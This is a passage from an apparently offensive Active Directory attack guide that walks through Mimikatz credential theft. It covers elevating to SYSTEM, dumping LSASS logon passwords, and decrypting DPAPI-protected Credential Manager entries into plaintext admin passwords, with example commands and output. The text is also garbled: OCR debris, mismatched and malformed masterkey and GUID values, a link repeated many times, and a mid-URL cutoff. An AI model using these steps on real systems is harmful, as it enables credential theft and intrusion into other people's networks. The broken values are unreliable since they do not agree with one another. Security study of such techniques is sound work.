

## **DarthSidious**

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## CREDENTIAL ACCESS

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SILENTTRINITY



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# **Mimikatz**

The now very famous tool mimikatz can be among other things used to dump credentials, that is hashes and/or. The latest release of mimikatz can be found as a precompiled binary for Windows on gentilwiki's <a href="Github page">Github page</a>.

**Important note about privilege** Running Mimikatz nearly always requires

Administrative privileges, preferably NT SYSTEM to run correctly. The privilege module is able to elevate a user from Administrator to SYSTEM.

https://github.com/gentilkiwi/mimikatz/wiki/module-~-privilege

mimikatz # privilege::debug Privilege '20' OK

# **Dumping creds from Isass**

mimikatz # sekurlsa::logonpasswords

# **DPAPI** method

In certain scenarios like RDP jumpstations a user might find it useful to save RDP credentials locally in Windows to prevent having to retype passwords. A common scenario is a regular user with a separate admin privileged account that is used for RDP-ing into other boxes. The passwords are then stored in the Windows credential manager.

Credentials for the manager are usually stored in files in either of the following two directories. Use  $\frac{dir}{a}$  to check their contents.

C:\Users\username\AppData\Roaming\Microsoft\Credentials
C:\Users\username\AppData\Local\Microsoft\Credentials

If both are empty, then credentials are probably not saved in the credential manager.. The files are usually stored as 32 character all caps alphanumerical strings, so something like: ? ODCF46D87F2DCE439DC47AA5F9267462`.

Once you have the file name and path for the credential file, open up mimikatz and do.

mimikatz dpapi::cred
/in:C:\Users\username\AppData\Local\Microsoft\Credentials\0DCF46D87F2DCE43
9DC47AA5F9267462

This will dump the credential blob which contains what we want to decrypt and the GUID for the masterkey which is required for decryption.

As SYSTEM, we can dump all masterkeys, the ! is very important here.

!sekurlsa::dpapi

You should get a 129 character string as masterkey associated with the GUID you found in the previous step.

GUID: {6515c6ef-60cd-4563-a3d5-3d70a6bc699}

masterkey: 76081ac6e809573b4dfa1a7a8eac3ae0106aa3f4d283fc3d6cf114a6285b582

Proceed by using the masterkey to decrypt the credentials.

dpapi::cred

/in:C:\Users\username\AppData\Local\Microsoft\Credentials\0DCF46D87F2DCE43 9DC47AA5F9267462/masterkey:76081ac6e809573b4dfa1a7a8eac3ae0106aa3f4d283fc3 d6cf114a6285b582d4df53dc0e30b64c318e473bce49adabb73ad8cccd8bf4d7d10f44f4d4 e48cf04

The username and plaintext password should be printed.

UserName : LAN\username\_adm
CredentialBlob : Sup3rAw3s0m3Passw0rd!

Use vault::list to figure out what boxes the credentials belong to. Often they are to specific servers.

**Useful links** <a href="https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credentials</a> <a href="https://github.com/gent



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